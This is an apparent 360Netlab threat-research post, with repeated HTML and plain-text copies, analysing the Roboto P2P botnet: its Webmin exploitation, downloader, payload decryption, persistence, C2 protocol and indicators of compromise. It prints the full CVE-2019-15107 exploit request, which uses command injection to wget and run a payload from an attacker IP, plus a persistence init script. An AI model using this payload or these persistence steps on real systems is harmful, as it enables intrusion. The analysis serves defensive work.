/usr/libexec/postfix/master
</code></pre>
</li>
<li>
<p>File name for masquerading</p>
<pre><code>libXxf86dag.so
.node_repl_history.gz
</code></pre>
</li>
</ul>
<h4 id="hardcodedpeerinformation">Hard coded Peer information</h4>
<p>Roboto Bot hardcoded 4 sets of Peers, the structure is <strong>IP: PORT: Curve25519_Pub Key</strong><br>
<a href="__GHOST_URL__/content/images/2019/11/rob_c2.png"><img src="__GHOST_URL__/content/images/2019/11/rob_c2.png" class="kg-image"/></a></p>
<pre><code>Peer 1:
213.159.27.5:57491
Pubkey:
8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4
7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79
Peer 2:
186.46.45.252:52085
Pubkey:
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
Peer 3:
95.216.17.209:57935
Pubkey:
E8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05
F2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E
Peer 4:
120.150.43.45:49252
Pubkey:
E7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7
F3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20
</code></pre>
<p>The third peer has the following modification in the sample <code>4cd7bcd0960a69500aa80f32762d72bc</code></p>
<pre><code>Peer 3:
66.113.179.13:33543
Pubkey:
B3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B
2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E
</code></pre>
<h4 id="encryptionverfication">Encryption verfication</h4>
<p>Roboto Bot uses algorithms such as Curve25519, TEA, and HMAC-SHA256 to implement data encryption and validity verification. This method is widely been used in the generation of cfg files and data packets.</p>
<p>The general process is as shown<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_flow.png"><img src="__GHOST_URL__/content/images/2019/11/rob_flow.png" class="kg-image"/></a></p>
<p><strong>Curve25519_PrivateKey</strong> is generated by /dev/urandom.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_priv.png"><img src="__GHOST_URL__/content/images/2019/11/rob_priv.png" class="kg-image"/></a></p>
<h4 id="cfgfile">cfg file</h4>
<p>Roboto Bot will store the generated cfg files in different file locations depending on the privilege it runs.</p>
<pre><code>$home/.config/trolltech.conf //run as regular user
/etc/iproute2/rt_ksfield //run as root
</code></pre>
<p>The cfg file contains the private key, the encrypted data, and the HMAC-SHA256 value of the encrypted data, which are updated every hour. The encrypted data is composed of Peer and Port information, and its structure is <em>peer:length:data,pcfg:length:data</em>.<a href="__GHOST_URL__/content/images/2019/11/rob_cfg.png"><img src="__GHOST_URL__/content/images/2019/11/rob_cfg.png" class="kg-image"/></a><br>
Cfg file decryption example</p>
<pre><code>The first 0x20 byte，Curve25519 private key
68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8
E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63
The last 0x20 byte，hmac-sha256 hash (0x20-0x165)
1B 64 C4 FD 65 C0 95 9B 6F B1 D7 C1 75 31 DA 5A
01 EC E1 52 06 25 E9 7D A1 9B 57 E5 CA 67 2B D6
Encryption verification
1. Generate publicKey:
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
2. Using last 16 bytes, DWORD reverse，to be used as encryption key for TEA:
58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62
3. Using the above Key, to get XOR Key:
First round: ED 16 FB 00 46 4F 94 99
4. XOR decryption，repeat step 4 on every 8 byte，to update XOR Key:
Ciphertext: 9D 73 9E 72 76 4E DE 99
Plaintext: peer\x30\x01\x4a\x00\x00
</code></pre>
<p>Therefore, we know that Peer has 0x130 bytes of information, and so on, the plaintext of the ciphertext (8E 3C 1F 93 B1 C9) is (pcfg\x04\x00).</p>
<h4 id="p2pcontrolmodule">P2P control module</h4>
<p>Roboto Bot can be controlled by a Unix domain socket. The bound path is <code>/tmp/.cs</code><br>
<a href="__GHOST_URL__/content/images/2019/11/rob_unixpro.png"><img src="__GHOST_URL__/content/images/2019/11/rob_unixpro.png" class="kg-image"/></a></p>
<p>The following code starts the control process<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_csm.png"><img src="__GHOST_URL__/content/images/2019/11/rob_csm.png" class="kg-image"/></a></p>
<p>We did not find the relevant code to set the environment variable "CS" in the Roboto Bot sample, so we speculated that it is in the Roboto P2P control module. It starts a process, sets the environment to "CS", and controls the Roboto Bot module through a Unix domain socket. then the P2P node becomes the control node in the Botonet P2P network.</p>
<p>We can get a good idea on the functions of the P2P control module through the Roboto Bot module, these function names are very intuitive.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_domsock.png"><img src="__GHOST_URL__/content/images/2019/11/rob_domsock.png" class="kg-image"/></a></p>
<p>We tested some of the control commands by hijacking the Roboto Bot program. Here are some test results.</p>
<p><code>info</code> The command will display hard-coded information and public key information, including the <code>v17</code>, we suspect it is a program version number.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_info.png"><img src="__GHOST_URL__/content/images/2019/11/rob_info.png" class="kg-image"/></a><br>
<code>peers</code> The command displays the P2P node information currently connected by Roboto Bot.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_peerinfo.png"><img src="__GHOST_URL__/content/images/2019/11/rob_peerinfo.png" class="kg-image"/></a></p>
<h4 id="botfunction">Bot function</h4>
<ul>
<li>Reverse shell<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_shell.png"><img src="__GHOST_URL__/content/images/2019/11/rob_shell.png" class="kg-image"/></a></li>
<li>Self uninstall<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_clear-2.png"><img src="__GHOST_URL__/content/images/2019/11/rob_clear-2.png" class="kg-image"/></a></li>
<li>Execution system command<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_system.png"><img src="__GHOST_URL__/content/images/2019/11/rob_system.png" class="kg-image"/></a></li>
<li>Get process network information (traverse process list, get process, network and crontab file information) and upload it to the specified HTTP interface</li>
</ul>
<pre><code>/proc/%s/exe
/proc/%s/cmdline
/proc/net/tcp
/proc/net/udp
crontab
</code></pre>
<p><a href="__GHOST_URL__/content/images/2019/11/rob_cinfo1.png"><img src="__GHOST_URL__/content/images/2019/11/rob_cinfo1.png" class="kg-image"/></a></p>
<ul>
<li>
<p>Get the Bot information and upload it to the specified HTTP interface.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_cinfo3.png"><img src="__GHOST_URL__/content/images/2019/11/rob_cinfo3.png" class="kg-image"/></a></p>
</li>
<li>
<p>Run the encrypted file in the specified URL (similar to the Roboto Downloader function)<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_http.png"><img src="__GHOST_URL__/content/images/2019/11/rob_http.png" class="kg-image"/></a></p>
</li>
<li>
<p>The DDoS attack<br>
Depending on the running privilege it gets, Bot provides four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_atk.png"><img src="__GHOST_URL__/content/images/2019/11/rob_atk.png" class="kg-image"/></a></p>
</li>
</ul>
<h4 id="p2pcommunicationprotocol">P2P communication protocol</h4>
<p>Besides using the P2P communication protocol, Roboto Bot employs algorithms such as Curve25519, TEA, and HMAC-SHA256 to ensure data integrity and security. The encrypted Key is derived from the Curve25519_SharedKey generated by the public key in the Bot and C2 information. The format of the packet is index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf], so packets larger than 21 bytes contain valid information.</p>
<h6 id="p2pnodediscoverydataverification">P2P node discovery data verification</h6>
<p>The length of the request packet is a fixed 69 bytes, the data is not encrypted, and the content is the public key of the target Peer and the public key of the Bot. After receiving the Bot request packet, Peer establishes a connection with the Bot if it is consistent with its own public key, and then calculates the SharedKey through the public key. In the subsequent communication process, the message with valid information (length greater than 21 words) Section) will be encrypted.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_hello.png"><img src="__GHOST_URL__/content/images/2019/11/rob_hello.png" class="kg-image"/></a></p>
<h6 id="p2pnodediscoverydatadecryption">P2P node discovery data decryption</h6>
<p>The local Petoto Bot sample is communicated with the hard-coded Peer (186.46.45.252), and a new Peer node 87.249.15.18:63104 is taken as an example.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_hellosrv.png"><img src="__GHOST_URL__/content/images/2019/11/rob_hellosrv.png" class="kg-image"/></a><br>
Bot request, 69 bytes</p>
<pre><code>index: 00 00 00 00
type: 2
data:
0-31: C2 Curve25519_PublicKey
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
32-63: Bot Curve25519_PublicKey
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
</code></pre>
<p>Peer reply, 60 bytes,</p>
<pre><code>index: 00 00 00 00
type: 00
data:
cmdtype:
4f
ip:port
44 be 1c 18 da 42
PublibcKey:
7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25
3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f
Hmac-sha256[0:0xf]
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
</code></pre>
<p>Analog decryption verification process</p>
<pre><code>1. Bot’s private key and Pee’s public key to generate shared key
SharedKey:
28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8
B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D
2. Using first 16 byte of HMAC-SHA256 for verification
HMAC-SHA256[0:0XF]=
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
3. Using last 16 bytes of the sharedkey, DWORD reverse，to be used as encryption key for TEA:
A8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32
4. Using the above Key, to get XOR Key:
First round: 4E 13 47 13 0A 2C C2 6A
Second round: B0 68 BD EB 9B 29 10 23
Third round: AD B4 3D 34 40 C0 3D FC
Fourth round: 31 1E 6B F0 EA D5 8E 65
Fivth round: D1 1C 42 58 2A 0C 7D A4
5. XOR dencryption，repeat step 4 on every 8 byte，to update XOR Key and get plaintext
cmdtype:
01
ip:port:
57 F9 0F 12 :F6 80 (87.249.15.18:63104)
PublicKey:
14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18
C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02
</code></pre>
<p>From the following network packets, we can see <code>87.249.15.18:63104</code> is exactly what we calculated.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_secpeer.png"><img src="__GHOST_URL__/content/images/2019/11/rob_secpeer.png" class="kg-image"/></a></p>
<h6 id="attackcommandverification">Attack command verification</h6>
<p>In a P2P network, nodes are untrustworthy, and anyone can forge a P2P node at a very low cost. In order to ensure that the Roboto network is completely controllable and not stolen by others, Roboto needs to perform signature verification for each attack command. Only the attack messages that can be signed and signed can be accepted and executed by the Roboto node.<br>
The verification method adopted by Roboto is ED25519, which is a public digital signature algorithm. At the same time, the check public key is:<code>60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C</code>, the public key is integrated into each of the Roboto Bot samples.</p>
<h3 id="suggestions">Suggestions</h3>
<p>We recommend that Webmin users take a look whether they are infected by checking the process, file name and UDP network connection as we coverd above.</p>
<p>We recommend that Roboto Botnet related IP, URL and domain names to be monitored and blocked.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h4 id="ioclist">IoC list</h4>
<p>Sample MD5</p>
<pre><code>4b98096736e94693e2dc5a1361e1a720
4cd7bcd0960a69500aa80f32762d72bc
d88c737b46f1dcb981b4bb06a3caf4d7
</code></pre>
<p>Encrypted Roboto Bot MD5</p>
<pre><code>image.jpg de14c4345354720effd0710c099068e7
image2.jpg 69e1cccaa072aedc6a9fd9739e2cdf90
roboto.ttc f47593cceec08751edbc0e9c56cad6ee
roboto.ttf 3020c2a8351c35530ab698e298a5735c
</code></pre>
<p>URL</p>
<pre><code>http://190.114.240.194/boot
http://citilink.dev6.ru/css/roboto.ttc
http://citilink.dev6.ru/css/roboto.ttf
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg
</code></pre>
<p>Hard-coded Peer IP</p>
<pre><code>95.216.17.209 Finland ASN 24940 Hetzner Online GmbH
213.159.27.5 Italy ASN 201474 Aircom Service srl
186.46.45.252 Ecuador ASN 28006 CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
120.150.43.45 Australia ASN 1221 Telstra Corporation Ltd
66.113.179.13 United States ASN 14280 NetNation Communications Inc
</code></pre>
<!--kg-card-end: markdown--> | Background introduction
On August 26, 2019, our 360Netlab Unknown Threat Detection System highlighted a suspicious ELF file (4cd7bcd0960a69500aa80f32762d72bc) and passed along to our researchers to take a closer look, upon further analysis, we determined it is a P2P bot program.
Fast forwarded to October 11, 2019, our Anglerfish honeypot captured another suspicious ELF sample (4b98096736e94693e2dc5a1361e1a720), and it turned out to be the Downloader of the previous suspicious ELF sample. The Downloader sample downloads the above Bot program from two hard-coded HTTP URLs. One of the addresses disguised the Bot sample as a Google font library "roboto.ttc", so we named the Botnet Roboto.
We have been tracking the Roboto Botnet for nearly three months and here are some of its technical features.
Roboto Botnet overview
Currently, we have captured the Downloader and Bot modules of the Roboto Botnet, and we speculate that it also has a vulnerability scanning module and a P2P control module.
Roboto Botnet mainly supports 7 functions: reverse shell, self-uninstall, gather process' network information, gather Bot information, execute system commands, run encrypted files specified in URLs, DDoS attack, etc.
At the same time, it also uses Curve25519, Ed25519, TEA, SHA256, HMAC-SHA256 and other algorithms to ensure the integrity and security of its components and P2P network, create the corresponding Linux self-starting script based on the target system, and disguise its own files and processes name to gain persistence control.
Roboto Botnet has DDoS functionality, but it seems DDoS is not its main goal. We have yet to captured a single DDoS attack command since it showed up on our radar. We still yet to learn its true purpose.
Propagation
On October 11th, 2019, the Anglerfish honeypot caught 51.38.200.230spreading Downloader sample 4b98096736e94693e2dc5a1361e1a720 via the Webmin RCE vulnerability (CVE-2019-15107) . The download URL is http://190.114.240.194/boot, the following is the exploit Payload.
POST /password_change.cgi HTTP/1.1
Host: {target}:10000
User-Agent: Go-http-client/1.1
Accept: */*
Referer: https://{target}:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
user=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%
We can see that 51.38.200.230 itself also has the same Webmin service (TCP/10000) open, guess it was also infected.
Reverse analysis
Roboto Downloadersample analysis
* MD5: 4b98096736e94693e2dc5a1361e1a720
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Library: musl-libc
The main function of Roboto Downloader is to download the corresponding encrypted Roboto Bot program from the specified URL according to the CPU architecture of the victim machine, and then decrypt and execute it.
Currently, Roboto Downloader supports both i386 and x86_64 architectures.
The Roboto Downloader sample hard-coded URL stores the encrypted Roboto Bot program. Each group of URLs has a corresponding decryption key and SHA256 check value.
Take image2.jpg as an example. Its SHA256 hash value is consistent with the hard-coded SHA256 hash value in the Roboto Downloader sample.
The decryption algorithm is as follows, the Key length is 8 bytes, and each round will calculate a new XOR Key.
After decrypting, we got the Roboto Bot sample.
The initial XOR Key is not known, but the characteristics of the XOR encryption algorithm can be used to get the bot file.
According to the feature that the value of elf_header[0x8:0xf] is often 0, the Bot file can be decrypted by the following method.
fstream file(filename, ios::binary | ios::in);
file.read((char*)fstr.data(), fsize);
file.close();
string skey(fstr, 8, 8);
reverse(skey.begin(), skey.end());
uint64_t *sskey = (uint64_t*)&skey[0];
cout << hex << "sskey= " << *sskey << endl;
fstr[0] = '\x7F';
fstr[1] = 'E';
fstr[2] = 'L';
fstr[3] = 'F';
fstr[6] = '\x01';
fstr[7] = '\x00';
fsize -= 8;
uint64_t cnt = fsize / 8;
uint8_t rmd = fsize % 8;
for (uint64_t i = 0; i < cnt; i++) {
for (int j = 0; j < 8; j++)
{
fstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);
}
uint64_t rnda = *sskey << 13 ^ *sskey;
uint64_t rndb = rnda >> 7 ^ rnda;
uint64_t rndc = rndb << 17 ^ rndb;
*sskey = rndc;
}
for (uint8_t i = 0; i < rmd; i++)
{
fstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);
}
if (fstr[42] == '\x20' && fstr[46] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x01';
}
if (fstr[43] == '\x20' && fstr[47] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x02';
}
if (fstr[54] == '\x38' && fstr[58] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x01';
}
if (fstr[55] == '\x38' && fstr[59] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x02';
}
Roboto Bot sample analysis
* MD5: d88c737b46f1dcb981b4bb06a3caf4d7
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Library: musl-libc
As aforementioned, Roboto Bot has server build in functions and disguise itself on the victim host.
Disguise
*
Create self-starting script based on the release version of the Linux system /etc/init.d/dns-clear or systemd-hwdb-upgrade.service
#! /bin/sh
### BEGIN INIT INFO
# Provides: dns-clear
# Required-Start: $local_fs $remote_fs $network
# Required-Stop: $local_fs
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: Cleans up any mess left by 0dns-up
### END INIT INFO
PATH=/sbin:/bin:/usr/sbin:/usr/bin
case "$1" in
start)
/usr/lib/libXxf86dag.so.1.0.0 &
;;
*)
;;
esac
exit 0
*
Fake Process names
(sd-pam)
/sbin/rpcbind
/usr/bin/python
upstart-socket-bridge
/usr/sbin/irqbalance
/lib/systemd/systemd-udevd
/usr/libexec/postfix/master
*
File name for masquerading
libXxf86dag.so
.node_repl_history.gz
Hard coded Peer information
Roboto Bot hardcoded 4 sets of Peers, the structure is IP: PORT: Curve25519_Pub Key
Peer 1:
213.159.27.5:57491
Pubkey:
8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4
7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79
Peer 2:
186.46.45.252:52085
Pubkey:
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
Peer 3:
95.216.17.209:57935
Pubkey:
E8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05
F2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E
Peer 4:
120.150.43.45:49252
Pubkey:
E7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7
F3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20
The third peer has the following modification in the sample 4cd7bcd0960a69500aa80f32762d72bc
Peer 3:
66.113.179.13:33543
Pubkey:
B3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B
2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E
Encryption verfication
Roboto Bot uses algorithms such as Curve25519, TEA, and HMAC-SHA256 to implement data encryption and validity verification. This method is widely been used in the generation of cfg files and data packets.
The general process is as shown
Curve25519_PrivateKey is generated by /dev/urandom.
cfg file
Roboto Bot will store the generated cfg files in different file locations depending on the privilege it runs.
$home/.config/trolltech.conf //run as regular user
/etc/iproute2/rt_ksfield //run as root
The cfg file contains the private key, the encrypted data, and the HMAC-SHA256 value of the encrypted data, which are updated every hour. The encrypted data is composed of Peer and Port information, and its structure is peer:length:data,pcfg:length:data.
Cfg file decryption example
The first 0x20 byte，Curve25519 private key
68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8
E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63
The last 0x20 byte，hmac-sha256 hash (0x20-0x165)
1B 64 C4 FD 65 C0 95 9B 6F B1 D7 C1 75 31 DA 5A
01 EC E1 52 06 25 E9 7D A1 9B 57 E5 CA 67 2B D6
Encryption verification
1. Generate publicKey:
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
2. Using last 16 bytes, DWORD reverse，to be used as encryption key for TEA:
58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62
3. Using the above Key, to get XOR Key:
First round: ED 16 FB 00 46 4F 94 99
4. XOR decryption，repeat step 4 on every 8 byte，to update XOR Key:
Ciphertext: 9D 73 9E 72 76 4E DE 99
Plaintext: peer\x30\x01\x4a\x00\x00
Therefore, we know that Peer has 0x130 bytes of information, and so on, the plaintext of the ciphertext (8E 3C 1F 93 B1 C9) is (pcfg\x04\x00).
P2P control module
Roboto Bot can be controlled by a Unix domain socket. The bound path is /tmp/.cs
The following code starts the control process
We did not find the relevant code to set the environment variable "CS" in the Roboto Bot sample, so we speculated that it is in the Roboto P2P control module. It starts a process, sets the environment to "CS", and controls the Roboto Bot module through a Unix domain socket. then the P2P node becomes the control node in the Botonet P2P network.
We can get a good idea on the functions of the P2P control module through the Roboto Bot module, these function names are very intuitive.
We tested some of the control commands by hijacking the Roboto Bot program. Here are some test results.
info The command will display hard-coded information and public key information, including the v17, we suspect it is a program version number.
peers The command displays the P2P node information currently connected by Roboto Bot.
Bot function
* Reverse shell
* Self uninstall
* Execution system command
* Get process network information (traverse process list, get process, network and crontab file information) and upload it to the specified HTTP interface
/proc/%s/exe
/proc/%s/cmdline
/proc/net/tcp
/proc/net/udp
crontab
*
Get the Bot information and upload it to the specified HTTP interface.
*
Run the encrypted file in the specified URL (similar to the Roboto Downloader function)
*
The DDoS attack
Depending on the running privilege it gets, Bot provides four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.
P2P communication protocol
Besides using the P2P communication protocol, Roboto Bot employs algorithms such as Curve25519, TEA, and HMAC-SHA256 to ensure data integrity and security. The encrypted Key is derived from the Curve25519_SharedKey generated by the public key in the Bot and C2 information. The format of the packet is index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf], so packets larger than 21 bytes contain valid information.
P2P node discovery data verification
The length of the request packet is a fixed 69 bytes, the data is not encrypted, and the content is the public key of the target Peer and the public key of the Bot. After receiving the Bot request packet, Peer establishes a connection with the Bot if it is consistent with its own public key, and then calculates the SharedKey through the public key. In the subsequent communication process, the message with valid information (length greater than 21 words) Section) will be encrypted.
P2P node discovery data decryption
The local Petoto Bot sample is communicated with the hard-coded Peer (186.46.45.252), and a new Peer node 87.249.15.18:63104 is taken as an example.
Bot request, 69 bytes
index: 00 00 00 00
type: 2
data:
0-31: C2 Curve25519_PublicKey
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
32-63: Bot Curve25519_PublicKey
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
Peer reply, 60 bytes,
index: 00 00 00 00
type: 00
data:
cmdtype:
4f
ip:port
44 be 1c 18 da 42
PublibcKey:
7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25
3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f
Hmac-sha256[0:0xf]
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
Analog decryption verification process
1. Bot’s private key and Pee’s public key to generate shared key
SharedKey:
28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8
B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D
2. Using first 16 byte of HMAC-SHA256 for verification
HMAC-SHA256[0:0XF]=
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
3. Using last 16 bytes of the sharedkey, DWORD reverse，to be used as encryption key for TEA:
A8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32
4. Using the above Key, to get XOR Key:
First round: 4E 13 47 13 0A 2C C2 6A
Second round: B0 68 BD EB 9B 29 10 23
Third round: AD B4 3D 34 40 C0 3D FC
Fourth round: 31 1E 6B F0 EA D5 8E 65
Fivth round: D1 1C 42 58 2A 0C 7D A4
5. XOR dencryption，repeat step 4 on every 8 byte，to update XOR Key and get plaintext
cmdtype:
01
ip:port:
57 F9 0F 12 :F6 80 (87.249.15.18:63104)
PublicKey:
14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18
C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02
From the following network packets, we can see 87.249.15.18:63104 is exactly what we calculated.
Attack command verification
In a P2P network, nodes are untrustworthy, and anyone can forge a P2P node at a very low cost. In order to ensure that the Roboto network is completely controllable and not stolen by others, Roboto needs to perform signature verification for each attack command. Only the attack messages that can be signed and signed can be accepted and executed by the Roboto node.
The verification method adopted by Roboto is ED25519, which is a public digital signature algorithm. At the same time, the check public key is:60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C, the public key is integrated into each of the Roboto Bot samples.
Suggestions
We recommend that Webmin users take a look whether they are infected by checking the process, file name and UDP network connection as we coverd above.
We recommend that Roboto Botnet related IP, URL and domain names to be monitored and blocked.
Contact us
Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IoC list
Sample MD5
4b98096736e94693e2dc5a1361e1a720
4cd7bcd0960a69500aa80f32762d72bc
d88c737b46f1dcb981b4bb06a3caf4d7
Encrypted Roboto Bot MD5
image.jpg de14c4345354720effd0710c099068e7
image2.jpg 69e1cccaa072aedc6a9fd9739e2cdf90
roboto.ttc f47593cceec08751edbc0e9c56cad6ee
roboto.ttf 3020c2a8351c35530ab698e298a5735c
URL
http://190.114.240.194/boot
http://citilink.dev6.ru/css/roboto.ttc
http://citilink.dev6.ru/css/roboto.ttf
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg
Hard-coded Peer IP
95.216.17.209 Finland ASN 24940 Hetzner Online GmbH
213.159.27.5 Italy ASN 201474 Aircom Service srl
186.46.45.252 Ecuador ASN 28006 CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
120.150.43.45 Australia ASN 1221 Telstra Corporation Ltd
66.113.179.13 United States ASN 14280 NetNation Communications Inc
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background introduction\nOn August 26, 2019, our 360Netlab Unknown Threat Detection System highlighted a suspicious ELF file (4cd7bcd0960a69500aa80f32762d72bc) and passed along to our researchers to take a closer look, upon further analysis, we determined it is a P2P bot program.\n\nFast forwarded to October 11, 2019, our Anglerfish honeypot captured another suspicious ELF sample (4b98096736e94693e2dc5a1361e1a720), and it turned out to be the Downloader of the previous suspicious ELF sample. The Downloader sample downloads the above Bot program from two hard-coded HTTP URLs. One of the addresses disguised the Bot sample as a Google font library \"roboto.ttc\", so we named the Botnet Roboto.\n\nWe have been tracking the Roboto Botnet for nearly three months and here are some of its technical features.\n\n\n## Roboto Botnet overview\nCurrently, we have captured the Downloader and Bot modules of the Roboto Botnet, and we speculate that it also has a vulnerability scanning module and a P2P control module.\n<a href=\"__GHOST_URL__/content/images/2019/11/Roboto.png\"><img src=\"__GHOST_URL__/content/images/2019/11/Roboto.png\" class=\"kg-image\"/></a>\nRoboto Botnet mainly supports 7 functions: reverse shell, self-uninstall, gather process' network information, gather Bot information, execute system commands, run encrypted files specified in URLs, DDoS attack, etc. \n\nAt the same time, it also uses Curve25519, Ed25519, TEA, SHA256, HMAC-SHA256 and other algorithms to ensure the integrity and security of its components and P2P network, create the corresponding Linux self-starting script based on the target system, and disguise its own files and processes name to gain persistence control.\n\nRoboto Botnet has DDoS functionality, but it seems DDoS is not its main goal. We have yet to captured a single DDoS attack command since it showed up on our radar. We still yet to learn its true purpose.\n\n\n## Propagation\nOn October 11th, 2019, the Anglerfish honeypot caught ```51.38.200.230```spreading Downloader sample ```4b98096736e94693e2dc5a1361e1a720``` via the Webmin RCE vulnerability (CVE-2019-15107) . The download URL is ```http://190.114.240.194/boot```, the following is the exploit Payload.\n\n```\nPOST /password_change.cgi HTTP/1.1\nHost: {target}:10000\nUser-Agent: Go-http-client/1.1\nAccept: */*\nReferer: https://{target}:10000/session_login.cgi\nCookie: redirect=1; testing=1; sid=x; sessiontest=1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 